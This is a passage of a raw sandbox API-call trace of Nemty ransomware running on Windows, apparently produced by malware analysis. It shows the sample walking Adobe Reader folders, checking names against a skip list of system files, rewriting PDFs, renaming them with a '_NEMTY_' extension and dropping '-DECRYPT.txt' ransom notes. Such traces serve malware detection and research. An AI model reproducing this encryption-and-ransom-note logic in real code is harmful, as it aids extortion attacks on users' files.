| out: lpFileSize=0x653e1b0*=108763) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.278] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.278] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.296] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.296] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.297] SetFilePointer (in: hFile=0x320, lDistanceToMove=108763, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a8db [0188.297] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.302] CloseHandle (hObject=0x320) returned 1 [0188.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0188.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0188.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.303] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.304] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23c629d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23c629d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23c88b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.304] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404a8 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.305] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23c629d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23c629d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23c88b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.305] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.305] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="ESP", cAlternateFileName="")) returned 1 [0188.305] lstrcmpiW (lpString1="ESP", lpString2=".") returned 1 [0188.305] lstrcmpiW (lpString1="ESP", lpString2="..") returned 1 [0188.305] lstrcmpiW (lpString1="ESP", lpString2="...") returned 1 [0188.305] lstrcmpiW (lpString1="ESP", lpString2="windows") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="$RECYCLE.BIN") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="rsa") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="NTDETECT.COM") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="ntldr") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="MSDOS.SYS") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="IO.SYS") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="boot.ini") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="boot.ini") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="AUTOEXEC.BAT") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="ntuser.dat") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="desktop.ini") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="CONFIG.SYS") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="RECYCLER") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="BOOTSECT.BAK") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="bootmgr") returned 1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="programdata") returned -1 [0188.306] lstrcmpiW (lpString1="ESP", lpString2="appdata") returned 1 [0188.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ESP", lpUsedDefaultChar=0x0) returned 3 [0188.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ESP", lpUsedDefaultChar=0x0) returned 3 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0188.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0188.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0188.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.308] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.309] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.309] CloseHandle (hObject=0x2f0) returned 1 [0188.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0188.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.311] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.311] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.311] CloseHandle (hObject=0x2f0) returned 1 [0188.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23e2ba50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23e2ba50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.312] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.312] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23e2ba50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23e2ba50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.312] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.312] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.312] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.312] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.313] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.313] 